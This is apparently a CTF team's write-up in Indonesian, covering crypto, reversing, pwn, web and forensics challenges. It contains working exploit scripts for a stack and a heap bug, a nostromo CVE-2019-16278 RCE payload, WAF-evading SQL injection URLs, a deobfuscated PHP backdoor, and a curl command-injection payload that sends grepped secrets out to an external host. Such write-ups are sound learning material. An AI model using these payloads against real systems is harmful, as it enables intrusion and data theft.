

Writeup CTF Unity 2020



Tetangga UNY Slurrr

Members:

cacadosman, bhansps, Yeraisci

Kriptografi

Klepto

Diberikan file klepto.zip dan yang terbaru diberikan lagi file flag.enc (karena sebelumnya ada kesalahan teknis). Di dalam zip terdapat file readme.txt dan id_rsa dan flag.rar (ignored) . Isi dari readme.txt :

Use id_rsa password for rar password and encryption key

Id_rsa sendiri merupakan kunci private rsa yang terenkripsi password, langsung kita coba ubah ke bentuk yang "johnable" lalu coba crack menggunakan john :

```
Q0_0~)rafie [quals/kripto/klepto]
→~/src/john/run/ssh2john.py id_rsa > idrsa.hash
Q0_0~)rafie [quals/kripto/klepto]
→cat idrsa.hash
id_rsa:$sshng$1$16$5CCA5A3834A2E0D3D528C6FCFABB5FFC$2352$44e7c367ffc873ecdb41bb6fe
71ed20c7a15114bce4a5aa554a47bfc4628f9c49f1413032ba1ecaf4be516d3165d7665cf2469d5804
14793b980f6a88cfef4dc2349b3ae3273679c61da05127db4803311520fc02d7294524680721d454c1
0e39a50f41107e1d5637856a1a5f6e81bd02cb6024929e4be9043d6fe2e1ebca3fe5b7702595cb144d
7~f~14320044f5020f2~b500f5212311~548~5~3~673~50~145225f02~f~b0f0c~20f~52~76504b00d
```

```
Q0_0~)rafie [quals/kripto/klepto]
→~/src/john/run/john -wordlist=/home/rafie/ctf/tools/rockyou.txt idrsa.ha
Note: This format may emit false positives, so it will keep trying even af
ing a
possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all load
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cyberpunk (id_rsa)
1g 0:00:00:07 DONE (2020-03-15 15:59) 0.1394g/s 2000Kp/s 2000Kc/s 2000KC/s
s!...clarus
Session completed
```

Ditemukan password yaitu "cyberpunk". Sesuai instruksi ini merupakan password yang dipakai untuk enkripsi flag.enc, isinya sendiri merupakan base64 yang jika didecode:

Salted__`By?h<zz+|m#Q=Mlw
0eWcJΘ>Mn5m

Asumsi kami ini adalah enkripsi menggunakan openssl dengan mode aes ditambah salt. Lalu dicoba didekrip menggunakan password yang telah didapat :

```
Qò_ó~)rafie [quals/kripto/klepto]
→openssl aes-256-cbc -d -a -in flag.enc -out secrets.txt

enter aes-256-cbc decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
Qò_ó~)rafie [quals/kripto/klepto]
→ls
flag.enc id_rsa idrsa.hash readme.txt secrets.txt so
Qò_ó~)rafie [quals/kripto/klepto]
→cat secrets.txt
UNITYCTF2020{Ada_yang_terHek_namun_bukan_Hatinya}
```

FLAG : UNITYCTF2020{Ada_yang_terHek_namun_bukan_Hatinya}

Reverse Engineering

heavy

Diberikan file ELF 64-bit bernama main. Ketika dijalankan file ini meminta input berupa string flag dan mengeluarkan output "Invalid flag" jika salah. Kita decompile file tersebut menggunakan IDA dan terdapat beberapa fungsi di dalamnya. Di bawah ini merupakan pseudocode dari fungsi main

```

18 v16 = *MK_FP( __FS__, 40LL);
19 __isoc99_scanf("%s", inp, a3);
20 v12 = v15 - 't';
21 for ( i = 0; i <= 3; ++i )
22 {
23     if ( i & 1 )
24         n_shift_right((__int64)&inp[6 * i], 6u, i + 1); // string, len_shift, num_shift
25     else
26         n_shift_left((__int64)&inp[6 * i], 6u, i + 1);
27 }
28 for ( j = 0; j <= 23; ++j )
29     inp[j] = (inp[j] << (8 - v12)) | (inp[j] >> v12);
30 for ( k = 0; k <= 5; ++k )
31     v13[k] = (char)(inp[k] ^ 0x5C);
32 for ( l = 6; l <= 11; ++l )
33     v13[l] = inp[l] + 48;
34 for ( m = 12; m <= 17; ++m )
35     v13[m] = inp[m] - 36;
36 for ( n = 18; n <= 23; ++n )
37     v13[n] = 2 * inp[n];
38 for ( ii = 0; ii <= 23; ++ii )
39 {
40     if ( dword_601060[ii] != v13[ii] )
41     {
42         puts("Invalid flag");
43         result = 1LL;
44         goto LABEL_28;
45     }
46 }
47 puts("Yeppp");
48 result = 0LL;

```

Program meminta input dari user dengan menggunakan fungsi scanf pada line 19 dan disimpan pada variabel inp. Kemudian variabel v12 dihitung dengan mengurangi variabel v15 dengan 116 ('t'). Variabel v15 tepat berada di bawah variabel inp yang besarnya 24 byte. Karena scanf tidak memiliki batas input, maka kami mengasumsikan panjang flag 25 karakter.

```

13 int v13[24]; // [sp+20h] [bp-90h]@11
14 char inp[24]; // [sp+80h] [bp-30h]@1
15 char v15; // [sp+98h] [bp-18h]@1
16 __int64 v16; // [sp+A8h] [bp-8h]@1

```

Kemudian program akan mengacak input dari user dengan menggeser ke kanan dan ke kiri sebanyak beberapa kali pada line 21-27. Selanjutnya tiap-tiap karakter di string yang telah diacak tadi dilakukan operasi pada line 28-38 dan hasilnya disimpan pada variabel v13. Terakhir, variabel v13 dicocokkan dengan variabel dword_601060. Jika sama maka string yang diinputkan merupakan flag.

Untuk mendapatkan flagnya kami melakukan operasi pada nilai di variabel dword_601060 dengan melakukan operasi pada line 28-38 terlebih dahulu kemudian dilanjutkan dengan operasi pada line 21-27.

Nilai di variabel dword_601060 dapat dilihat menggunakan gdb

```
> gdb ./main
Reading symbols from ./main...
(No debugging symbols found in ./main)
gdb-peda$ x/24xw 0x601060
0x601060:      0x0000002e      0xffffffff8a      0xffffffffa9      0xfffffffff8
0x601070:      0x0000000b      0xffffffffca      0x00000026      0x00000077
0x601080:      0x00000067      0x00000077      0x00000025      0x00000057
0x601090:      0xffffffffc2      0x00000052      0xffffffffd1      0xfffffffff2
0x6010a0:      0x00000023      0xffffffff72      0xffffffff46      0xffffffff24
0x6010b0:      0xffffffff46      0xffffffff24      0xffffffff2c      0x0000008e
gdb-peda$
```

Karena dword_601060 berupa sign integer maka setiap hasil operasi pada line 30-38 diambil 2 byte LSB.

```
for i in range(18,24):
    v13[i] = (inp[i] / 2) & 0xff
for i in range(12,18):
    v13[i] = (inp[i] + 36) & 0xff
for i in range(6,12):
    v13[i] = (inp[i] - 48) & 0xff
for i in range(6):
    v13[i] = (inp[i] & 0xff) ^ 0x5c
```

Operasi pada line 21-27 digeser ke arah yang sebaliknya untuk mengembalikan tiap-tiap karakter ke posisi semula

```
def lsh(a1, a2): # left shift
    v4 = a1[0]
    for i in range(a2-1):
        a1[i] = a1[i+1]
    a1[a2-1] = v4

def nlsh(a1, a2, a3): # n left shift
    for i in range(a3, 0, -1):
        lsh(a1, a2)

def rsh(a1, a2): # right shift
    v4 = a1[a2-1]
    for i in range(a2-1, 0, -1):
```



```

    a1[i] = a1[i-1]
    a1[0] = v4

def nrsh(a1, a2, a3): # n right shift
    for i in range(a3, 0, -1):
        rsh(a1, a2)

for i in range(3,-1,-1):
    if(i&1):
        b = v13[6*i:6*(i+1)]
        nlsh(b,6,i+1)
        v13[6*i:6*(i+1)] = b
    else:
        b = v13[6*i:6*(i+1)]
        nrsh(b,6,i+1)
        v13[6*i:6*(i+1)] = b

```

Terakhir untuk operasi pada line 28-29, karena kami tidak mengetahui nilai v15 kami melakukan brute force dengan memetakan hasil dari semua kemungkinan nilai input dan v12. Berikut script yang kami gunakan

```

def x(d,n):
    return (d << (8 - n)) | (d >> n)

s = [150, 114, 214, 245, 164, 87, 55, 71, 245, 39, 246, 71, 22, 71, 150, 230,
118, 245, 150, 71, 163, 146, 163, 146]

for n in range(9):
    p = {}
    for d in range(256):
        p[(x(d,n)&0xff)] = d
    v13 = []
    for d in s:
        v13.append(p[d])
    print n, '=>', ''.join(map(chr, v13))

```

```
0 => 0r000W7G0'0GG00v00G0000  
1 => -00I0n00N0,0-000-0G%G%  
2 => Z0[λ]070XZ000Z0J0J  
3 => 0000%00:090:0:07000:00  
4 => i'm_Just_rotating_it:~::~)  
5 => 0NΔ000000000000ξ00tRtR  
6 => 000})000}[x!ε00}0000  
7 => K9k0R00000{0  
  
                                0Ks;0K00I0I  
8 => 0r000W7G0'0GG00v00G0000
```

Dari hasil tersebut, dengan v12 bernilai 4 menghasilkan string yang dapat terbaca. Berarti v15 berupa 120 atau 'x'.

Berikut script lengkap yang kami gunakan

sv.py

```
def lsh(a1, a2): # left shift
    v4 = a1[0]
    for i in range(a2-1):
        a1[i] = a1[i+1]
    a1[a2-1] = v4

def nlsh(a1, a2, a3): # n left shift
    for i in range(a3, 0, -1):
        lsh(a1, a2)

def rsh(a1, a2): # right shift
    v4 = a1[a2-1]
    for i in range(a2-1, 0, -1):
        a1[i] = a1[i-1]
    a1[0] = v4

def nrsh(a1, a2, a3): # n right shift
```

```

    for i in range(a3, 0, -1):
        rsh(a1, a2)

inp = [0x0000002e, 0xffffffff8a, 0xffffffffa9, 0xfffffffff8, 0x0000000b, 0xffffffffca,
0x00000026, 0x00000077, 0x00000067, 0x00000077, 0x00000025, 0x00000057,
0xffffffffc2, 0x00000052, 0xffffffffd1, 0xfffffffff2, 0x00000023, 0xffffffff72,
0xffffffff46, 0xffffffff24, 0xffffffff46, 0xffffffff24, 0xffffffff2c, 0x0000008e]
v13 = [0]*len(inp)

for i in range(18,24):
    v13[i] = (inp[i] / 2) & 0xff
for i in range(12,18):
    v13[i] = (inp[i] + 36) & 0xff
for i in range(6,12):
    v13[i] = (inp[i] - 48) & 0xff
for i in range(6):
    v13[i] = (inp[i] & 0xff) ^ 0x5c

for i in range(3,-1,-1):
    if(i&1):
        b = v13[6*i:6*(i+1)]
        nlsh(b, 6, i+1)
        v13[6*i:6*(i+1)] = b
    else:
        b = v13[6*i:6*(i+1)]
        nrsh(b, 6, i+1)
        v13[6*i:6*(i+1)] = b

def t(d,n):
    return (d << (8 - n)) | (d >> n)
x = {}
for i in range(256):
    x[(t(i,4)&0xff)] = i

for i in range(len(v13)):
    v13[i] = x[v13[i]]

print ''.join(map(chr, v13)) + 'x'

```



```
> py sv.py
i'm_Just_rotating_it:~)~)x

> ./main
i'm_Just_rotating_it:~)~)x
Yeppp
```

FLAG : UNITYCTF2020{i'm_Just_rotating_it:~)~)x}

Binary Exploit

Babystack

Diberikan ELF 64-bit bernama main. Ketika dijalankan program ini dapat menyimpan dan menampilkan nama buku.

```
> ./main
==[ Your Library ]==
[1] List Of Books
[2] Print Book
[3] Add Books
[4] Remove Books
> 1
0. Euclid's Elements of Geometry
1. Introduction to Linear Algebr
2. (empty)
3. (empty)
4. (empty)
5. (empty)
6. (empty)
7. (empty)
==[ Your Library ]==
[1] List Of Books
[2] Print Book
[3] Add Books
[4] Remove Books
> 3
Enter index : 1
Enter the name of Books : 4
==[ Your Library ]==
[1] List Of Books
[2] Print Book
[3] Add Books
[4] Remove Books
>
```

Pada fungsi add_book dan print_book di program ini terdapat pengecekan index, namun program masih dapat berjalan jika nilai index tidak sesuai. Akibatnya kita dapat mengakses index yang lebih dari 7 atau kurang dari 0.

```

1 int __fastcall print_book(__int64 a1)
2 {
3     int result; // eax@4
4     int v2; // [sp+1Ch] [bp-4h]@1
5
6     printf("Enter index : ");
7     v2 = read_int("Enter index : ");
8     printf("%d\n", (unsigned int)v2);
9     if ( v2 > 7 )
10         puts("not for 00B");
11     if ( *(_BYTE *) (30LL * v2 + a1) )
12         result = printf("%d. %s\n", (unsigned int)v2, a1 + 30LL * v2);
13     else
14         result = printf("%d. (empty)\n", (unsigned int)v2);
15     return result;
16 }

```

```

1 int __fastcall add_book(__int64 a1)
2 {
3     int v2; // [sp+1Ch] [bp-4h]@1
4
5     printf("Enter index : ");
6     v2 = read_int("Enter index : ");
7     if ( v2 > 7 )
8         printf("not for 00B\b");
9     printf("Enter the name of Books : ");
10    return read_wrapper(30LL * v2 + a1, 29LL);
11 }

```

Pertama, kita melakukan leak libc dengan membaca addres `__libc_start_main_ret` yang berada pada index 8

```

[-----stack-----]
0000| 0x7fffffffddfo --> 0x55555550032 ('2')
0008| 0x7fffffffddfb --> 0x7fffffffde40 ("Euclid's Elements of Geometry")
0016| 0x7fffffffde00 --> 0x0
0024| 0x7fffffffde08 --> 0x66ce3000
0032| 0x7fffffffde10 --> 0x7fffffffdf40 --> 0x55555554d90 (<__libc_csu_init>: push r15)
0040| 0x7fffffffde18 --> 0x55555554d46 (<main+304>: jmp 0x55555554d80 <main+362>)
0048| 0x7fffffffde20 --> 0x7fffffff028 --> 0x7fffffff34c ("/root/Downloads/unity/babystack/main")
0056| 0x7fffffffde28 --> 0x100000000
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x000055555554b66 in print_book ()
gdb-peda$ f 1
#1 0x000055555554d46 in main ()
gdb-peda$ i f
Stack level 1, frame at 0x7fffffffdf50:
 rip = 0x55555554d46 in main; saved rip = 0x7ffff7e0fbbb
 called by frame at 0x7fffffffde010, caller of frame at 0x7fffffffde20
 Arglist at 0x7fffffffdf40, args:
 Locals at 0x7fffffffdf40, Previous frame's sp is 0x7fffffffdf50
 Saved registers:
  rbp at 0x7fffffffdf40, rip at 0x7fffffffdf48
gdb-peda$ p/d (0x7fffffffde40-0x7fffffffdf48)/30
$2 = -8
gdb-peda$

```

Karena printf akan selesai mengeluarkan output ketika menemukan nullbyte, kami melakukan padding dengan opsi add books sampai menyentuh address `__libc_start_main_ret`.

```
gdb-peda$ x/xg 0x7fffffffde40+30*8
0x7fffffffdf30: 0x00007fffffff020
gdb-peda$
0x7fffffffdf38: 0x81bf43cf66ce3000
gdb-peda$
0x7fffffffdf40: 0x000055555554d90
gdb-peda$
0x7fffffffdf48: 0x00007ffff7e0fbbb
gdb-peda$
```

Setelah melakukan leak libc, kami melakukan overwrite return address dengan one gadget pada address return fungsi `add_book` saat memilih opsi Add Books karena program diakhiri dengan fungsi `exit`. Jarak antara buku index ke-0 dengan return address sebesar -40 byte dan dapat diakses dengan memasukkan index -2.

```
[-----stack-----]
0000| 0x7fffffffde10 --> 0x7fffffffdf40 --> 0x55555554d90 (<__libc_csu_init>: push r15)
0008| 0x7fffffffde18 --> 0x55555554d57 (<main+321>: jmp 0x55555554d80 <main+362>)
0016| 0x7fffffffde20 --> 0x7fffffffe028 --> 0x7fffffffe34c ("/root/Downloads/unity/babystack/main")
0024| 0x7fffffffde28 --> 0x100000000
0032| 0x7fffffffde30 --> 0x0
0040| 0x7fffffffde38 --> 0x3f7ffe730
0048| 0x7fffffffde40 ("Euclid's Elements of Geometry")
0056| 0x7fffffffde48 (" Elements of Geometry")
[-----]
Legend: code, data, rodata, value

Breakpoint 2, 0x000055555554a47 in add_book ()
gdb-peda$ i f
Stack level 0, frame at 0x7fffffffde20:
 rip = 0x55555554a47 in add_book; saved rip = 0x55555554d57
 called by frame at 0x7fffffffdf50
 Arglist at 0x7fffffffde10, args:
 Locals at 0x7fffffffde10, Previous frame's sp is 0x7fffffffde20
 Saved registers:
  rbp at 0x7fffffffde10, rip at 0x7fffffffde18
gdb-peda$ p/d 0x7fffffffde18-0x7fffffffde40
$8 = -40
gdb-peda$
```

Berikut script yang kami gunakan

sv.py

```
from pwn import *

r = remote('35.192.113.20', 3000)
l = ELF('libc6_2.23-0ubuntu10_amd64.so')

def prints(inx):
```

```

    r.sendlineafter('> ', '2')
    r.sendlineafter('index : ', str(inx))
    r.recvuntil(str(inx) + '. ')
    return r.recvline()[:-1]

def add(inx, s):
    r.sendlineafter('> ', '3')
    r.sendlineafter('index : ', str(inx))
    r.sendafter('Books : ', s)

def delete(inx):
    r.sendlineafter('> ', '4')
    r.sendlineafter('index : ', str(inx))

add(8, 'A'*24)
leak = u64(prints(8)[24:].ljust(8, '\0'))
print(hex(leak))

l.address = leak - 240 - l.symbols['__libc_start_main']

# one_gadget constraints ([rsp+0x30] == NULL)
for i in range(7):
    delete(i)

add(-2, 'a'*20 + p64(l.address+0x4526a))

r.interactive()

```

```

> py sv.py
[+] Opening connection to 35.192.113.20 on port 3000: Done
[*] '/root/Downloads/unity/babystack/libc6_2.23-0ubuntu10_amd64.so'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
0x7ff9b2ffb830
[*] Switching to interactive mode
$ ls
flag.txt
main
$ cat f*
UNITYCTF2020{406b0e859139e5c897e2fdfb8f33634e}
$ █

```

FLAG : UNITYCTF2020{406b0e859139e5c897e2fdfb8f33634e}

Babyheap

Diberikan ELF 64-bit bernama main. Program ini akan menyimpan data yang diinputkan oleh user di dalam heap. Berikut penampakan program.

```

> ./main
===== MENU =====
[1] Add book
[2] Delete book
[3] Edit book
[4] Show all books
[5] Exit
Your choice: 1
Enter book name: a
Enter length of book description: 4
Enter book description: a
Enter book total pages: 3
===== MENU =====
[1] Add book
[2] Delete book
[3] Edit book
[4] Show all books
[5] Exit
Your choice: █

```

Pada fungsi delete_book variabel books tidak dikosongkan sehingga masih dapat diakses (Use After Free).

```

1 void delete_book()
2 {
3     int v0; // [sp+Ch] [bp-4h]@1
4
5     printf("Enter index of book: ");
6     v0 = readint();
7     if ( (unsigned int)v0 > 0x13 || !books[(unsigned __int64)(unsigned int)v0] )
8     {
9         puts("Delete book error");
10        exit(1);
11    }
12    free(*(void **) (books[(unsigned __int64)(unsigned int)v0] + 64LL));
13    free((void *)books[(unsigned __int64)(unsigned int)v0]);
14}

```

Pertama-tama kita lakukan leak libc. Alokasikan 8 buah buku, kemudian hapus dari index ke 7 sampai index ke 0. Address main_arena akan terlihat pada buku index ke 0. Untuk mendapatkan shell, kami mengoverwrite __free_hook dengan address system. Nantinya kita akan melakukan free heap chunk yang berisi string /bin/sh sehingga program akan memanggil system("/bin/sh"). Overwrite __free_hook dilakukan dengan mengoverwrite next pointer pada chunk heap buku index 1 dengan address __free_hook. Saat malloc dipanggil maka address yang dialokasikan adalah address __free_hook.

Berikut script yang kami gunakan

sv.py

```

from pwn import *

l = ELF('./libc-2.29.so', checksec=False)
r = remote('35.192.113.20', 3001)

def add(n, l, d, p):
    r.sendlineafter('choice: ', '1')
    r.sendlineafter('name: ', n)
    r.sendlineafter('description: ', str(l))
    r.sendlineafter('description: ', d)
    r.sendlineafter('pages: ', str(p))

def delete(inx):
    r.sendlineafter('choice: ', '2')
    r.sendlineafter('book: ', str(inx))

def edit(inx, n, d, p):

```

```

    r.sendlineafter('choice: ', '3')
    r.sendlineafter('book: ', str(inx))
    r.sendlineafter('name: ', n)
    r.sendlineafter('description: ', d)
    r.sendlineafter('pages: ', str(p))

def show():
    r.sendlineafter('choice: ', '4')
    r.recvuntil('Description : ')
    leak = r.recvline()[:-1]
    leak = u64(leak.ljust(8, '\0'))
    return leak

for i in range(8):
    add('A'*(0x40-1), 0x400, 'A', 500)
for i in range(7,-1,-1):
    delete(i)
leak = show()
print hex(leak)
l.address = leak-1985696

edit(1, '', p64(l.symbols['__free_hook']), 100)

add('/bin/sh', 0x400, '/bin/sh', 100)
add('AAAA', 0x400, p64(l.symbols['system']), 100)
delete(8)

r.interactive()

```

```

> py sv.py
[+] Opening connection to 35.192.113.20 on port 3001: Done
0x7f5252ee5ca0
[*] Switching to interactive mode
$ ls
flag.txt
medium
$ cat f*
UNITYCTF2020{1002b5613c8a341bfe638d9ef2db3a46}
$ 

```

Flag : UNITYCTF2020{1002b5613c8a341bfe638d9ef2db3a46}

Web Hacking

Stromeo

URL: <http://35.192.113.20:2002/>

Terdapat sebuah attachment yang berisikan source code dari web tersebut.

Saat dibuka ternyata pake bahasa C bjirrrr >:(

Lalu kita coba cek headernya, dan ternyata servernya menggunakan **nostromo 1.9.6** yang dimana terdapat kerentanan CVE dengan kode **CVE-2019-16278**.

Dimana kita dapat melakukan RCE pada headernya UwU.

Lalu saat kita bypass, ternyata kita kena kode 400, lalu setelah kita lihat source codenya, ternyata terdapat filter, sehingga kita tidak bisa membypassnya :(

```
/* check for valid uri */
    if (strstr(header, "../") != NULL || strstr(header, "bin") != NULL ||
    strstr(header, "sh") != NULL) {
        h = http_head(http_s_400, line, cip, 0);
        b = http_body(http_s_400, "", h, 0);
        c[sfd].pfdo++;
        c[sfd].pfdn[hr] = 1;
        c[sfd].pfdh[hr] = strdup(b);
        c[sfd].x_ful[hr] = 1;
        c[sfd].x_chk[hr] = 0;
        c[sfd].x_sta = 0;
        free(h);
        free(b);
        return (0);
    }
```

Sehingga, untuk membypass filter tersebut, kita bisa menggunakan karakter **%0d**

Berikut ini akhir payload untuk membypass web tersebut:

```
import socket

url = '35.192.113.20'
port = 2002

c = 'cat /flag.txt'

s = socket.socket()
s.connect((url, int(port)))
payload = 'POST /.%0d../.%0d../.%0d../b%0din/bas%0dh
HTTP/1.0\r\nContent-Length: 1\r\n\r\nnecho\nnecho\n'+ c
s.send(payload)
```

```
print(s.recv(1024))  
print(s.recv(1024))
```

Hasil eksekusi:

```
HTTP/1.1 200 OK  
Date: Sun, 15 Mar 2020 11:51:47 GMT  
Server: nostromo 1.9.6  
Connection: close  
  
#AnjayHeker #SalamBooyah #EditorBerkelas #QuotersIndonesia  
#anjayMabar #EDMBerkelas #editorDuniaMaya #MembalasDenganBerkarya  
#KetikaTermuxKuBerjalanMakaDisitulahTakAdaSystemYangAman  
  
UNITY2020{Bj1r_CVE-2019-16278_M00m3nt}
```

FLAG: UNITY2020{Bj1r_CVE-2019-16278_M00m3nt}

my anime

URL: <http://35.192.113.20:2003/>

Terdapat sebuah website daftar anime.

Pada hint, terdapat Web Application Firewall pada file waf.php

Berikut ini adalah penampakan waf nya

```
<?php
if (!empty($_GET['id'])){
    $yamero = '<center><h1>Saiba Attack</h1><br><br></center>';

    if(preg_match('/\s/', $id))
        exit($yamero);
    if(preg_match('/[\'"]/', $id))
        exit($yamero);
    if(preg_match('/[\\\/\\\\\\\\]/', $id))
        exit($yamero);
    if(preg_match('/(and|null|limit)/i', $id))
        exit($yamero);
} else {
    highlight_file("waf.php");
}
```

Kita tidak bisa menggunakan spasi, quotes, slash, backslash, and, null, limit

Namun kita masih bisa membypassnya menggunakan payload berikut:

[http://35.192.113.20:2003/anime.php?id=\(false\)union\(select\(1\).\(database\(\)\).\(1\).\(1\)\)%23](http://35.192.113.20:2003/anime.php?id=(false)union(select(1).(database()).(1).(1))%23)

[Home](#)

my_anime_list

1

Sehingga, untuk mendapatkan flag, kita tinggal mencari tabel dan kolom menggunakan information_schema. Setelah mendapatkan informasinya, kita hajar dengan payload berikut:

[http://35.192.113.20:2003/anime.php?id=\(false\)union\(select\(1\).\(select\(group_concat\(password\)\)from\(mal_admin\)\).\(1\).\(1\)\)%23](http://35.192.113.20:2003/anime.php?id=(false)union(select(1).(select(group_concat(password))from(mal_admin)).(1).(1))%23)

[Home](#)

password,halahwibu,UNITY2020{Disaat_Skill_SQLi_ku_Beraksi_Disitulah_DB_mu_Tercurry}

1

1

FLAG: UNITY2020{Disaat_Skill_SQLi_ku_Beraksi_Disitulah_DB_mu_Tercurry}

Backdoor

URL: <http://68.183.176.121/>

Diberikan sebuah sourcecode yang didalamnya terdapat sebuah backdoor.

Benar saja, terdapat source yang mencurigakan pada **`./assets/img/index.php`**

Namun, file tersebut masih terobfuscate, sehingga kita rapikan kodenya agar mudah dibaca.

```
<?php
```

```
include "variables.php";
```

```
$kadsooasd="st";
$ldksadsakla="ev";
$lkkklkldasl="r";
$strrev=$kadsooasd.$lkkklkldasl.$lkkklkldasl.$ldksadsakla; // strrev
$hello = "bjlgqipqipeaelohasnda";
$hello.=$hello[strlen($hello)-7];
$hello.=$hello[2];
$hello.=$hello[strlen($hello)-10];
$hello.=$hello[10];
$hello.=$hello[strlen($hello)-10];
$hello=substr($hello,strlen($hello)-(ord($hello[4])-ord($hello[2])));
$hello=@$strrev($hello);
```

```
function shell($lkkklkldaslmd){
    include "variables.php";
    return @$$$$kamu($lkkklkldaslmd); //die
};
```

```
function title($string){
    include "variables.php";
    global $strrev;
    $date = date('Y-m-d');
    $kadsooasds = @$strrev(chr(111)."h".$$$$$heker[0].$dia[2]); //echo
    echo $kadsooasds;
    $string = str_replace(" ","_",$string);
    $ret=$$$$$$kamu.$mat[0]; //exec
    return @$ret("$kadsooasds \"$string-$date.txt\"");
}
```

```
if (isset($_POST['name'], $_POST['email'], $_POST['subject'],
$_POST['message'])){\
```

```

    if (!empty(strpos("unity $_POST[message]", $hello))){
        $f = fopen("./uny/mail/".title(htmlentities($_POST['name'])), 'w');
        // echo $f;
        $isi = "From\t\t: $_POST[email]
Subject\t\t: $_POST[subject]
Message\t\t: $_POST[message]";
        fwrite($f, $isi);
        die("Done");
    }
}
?>

```

Hal yang mencurigakan adalah, pada baris kode

```
return @ret("$kadssoasds \"$string-$date.txt\"");
```

Kode tersebut melakukan return fungsi exec yang dapat mengakibatkan Remote Code Execution. Jika diterjemahkan, kode tersebut mengeksekusi:

```
return exec("echo \"$string-$date.txt\"");
```

Dimana kita bisa mengubah nilai dari variabel \$string berdasarkan parameter **name** pada metode POST. Sialnya, terdapat fungsi **htmlentities** dan fungsi yang melakukan replace spasi menjadi underscore, sehingga untuk membypassnya menjadi sulit.

Namun, akhirnya dengan payload berikut pada parameter **name** dengan tujuan melakukan grep pada string UNITY, kita dapat membypassnya dan mendapatkan flagnya.

```
$(curl${IFS}--data${IFS}{a=$(grep${IFS}-r${IFS}UNITY${IFS}/var|base64${IFS}-w${IFS}0)}${IFS}https://envcnlmm9u3oa.x.pipedream.net)
```

Terus flagnya mana?

Jadi flagnya kita kirim ke url <https://enkak77rjv029.x.pipedream.net> menggunakan curl dan diencode menjadi base64.

HTTP REQUEST		1ZAAIoJJmnyfgt02FQE5S0HfjB9	2020-03-15T11:24:08.149Z
Details	POST /		
Headers	(6) headers		copy
Body	RAW		copy
	STRUCTURED		
	<pre> { "root": { "a": "L3Zhci93d3cvaHRtbC9mbGFuLnBocC0yMDIwLTAzLTE1LnR4dDpTdWJqZWNoQk6IFV0SVRZMjAyMHsySEFSRF9GT1JfQkFDS0" } } </pre>		

Lalu kita decode base64 nya

```

cacadosman@DESKTOP-KH4I0TQ: /mnt/c/Users/cacadosman$ echo L3Zhci93d3cvaHRtbC9mbGFnLnBocC0yM
DIwLTAzLTE1LnR4dDpTdWJqZWNOQk6IFVOSVRZMjAyMHsySEFSRF9GT1JfQkFDS0RPT1J9Ci92YXIvd3d3L2h0bWw
vY2hhbmdlbG9nLnR4dDpVTk1UWUNURjIwMjB7dGhpc19pc19mb3JtYXRfZmxhZ30KL3Zhci93d3cvaHRtbC9tYWlsL
yZxdW90OztFY2F0XyZxdW90O3ZhcmlhYmxlcY5waHAtMjAyMC0wMy0xNS50eHQ6U3ViamVjdAkJOiBVTk1UWTIwMjB
7R0FNRV9TVE9SRV9LVX0KL3Zhci93d3cvaHRtbC9tYWlsL3Rlc3RpbmctMjAyMC0wMy0xNS50eHQ6U3ViamVjdAkJO
iBVTk1UWTIwMjB7R0FNRV9TVE9SRV9LVX0KL3Zhci93d3cvaHRtbC9pbmRleC5waHAtMjAyMC0wMy0xNS50eHQ6U3V
iamVjdAkJOiBVTk1UWTIwMjB7MkhBUkRFRk9SX0JBQ0tET09SfQovdmFyL3d3dy8udGhpc2lzdGhlcmVhbGZsYWdub
3RmYWtlZHVkZW9rZXkudHh0O1VOSVRZQ1RGMjAyMHTiZWwmbTNfYV9oNHgwcnoK | base64 -d
/var/www/html/flag.php-2020-03-15.txt:Subject : UNITY2020{2HARD_FOR_BACKDOOR}
/var/www/html/changelog.txt:UNITYCTF2020{this_is_format_flag}
/var/www/html/mail/";_cat_"variables.php-2020-03-15.txt:Subject :
UNITY2020{GAME_STORE_KU}
/var/www/html/mail/testing-2020-03-15.txt:Subject : UNITY2020{GAME_STORE_KU}
/var/www/html/index.php-2020-03-15.txt:Subject : UNITY2020{2HARD_FOR_BACKDOOR}
/var/www/.thisistherealflagnotfakedudeokey.txt:UNITYCTF2020{bec0m3_a_h4x0r}
cacadosman@DESKTOP-KH4I0TQ: /mnt/c/Users/cacadosman$

```

FLAG: UNITYCTF2020{bec0m3_a_h4x0r}

Forensic

P

Diberikan sebuah file pcap yang berisikan paket dengan protocol ICMP, kita akan hanya menganalisis paket icmp reply dengan ip source 206.189.84.162 dan ip dest 182.1.70.81 karena memiliki informasi yang unik pada segmen 0040 dibandingkan dengan yang lainnya.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help							
Apply a display filter ... <Ctrl-/>							
No.	Time	Source	Destination	Protocol	Length	Info	
47	22.658476	182.1.70.81	206.189.84.162	ICMP	100	Echo (ping) request	
48	22.658555	206.189.84.162	182.1.70.81	ICMP	100	Echo (ping) reply	
49	23.030833	13.78.65.168	206.189.84.162	ICMP	100	Echo (ping) request	
50	23.030891	206.189.84.162	13.78.65.168	ICMP	100	Echo (ping) reply	
51	24.032399	13.78.65.168	206.189.84.162	ICMP	100	Echo (ping) request	
52	24.032450	206.189.84.162	13.78.65.168	ICMP	100	Echo (ping) reply	
53	25.033669	13.78.65.168	206.189.84.162	ICMP	100	Echo (ping) request	
54	25.033713	206.189.84.162	13.78.65.168	ICMP	100	Echo (ping) reply	
> Frame 48: 100 bytes on wire (800 bits), 100 bytes captured (800 bits)							
> Linux cooked capture							
> Internet Protocol Version 4, Src: 206.189.84.162, Dst: 182.1.70.81							
> Internet Control Message Protocol							

0000	00 04 00 01 00 06	62 8c 55 b6 ef 3a	00 00 08 00b. U...:....
0010	45 00 00 54 25 1a	00 00 40 01 35 dd	ce bd 54 a2	E..T%... @.5...T.
0020	b6 01 46 51 00 00	fb 1b 05 01 00 01	64 49 69 5e	..FQ.... ..dIi^
0030	00 00 00 00 65 a4	09 00 00 00 00 00	56 41 42 43e... ..VABC
0040	44 45 46 47 48 49	4a 4b 4c 4d 4e 4f	56 41 42 43	DEFGHIJK LMNOVABC
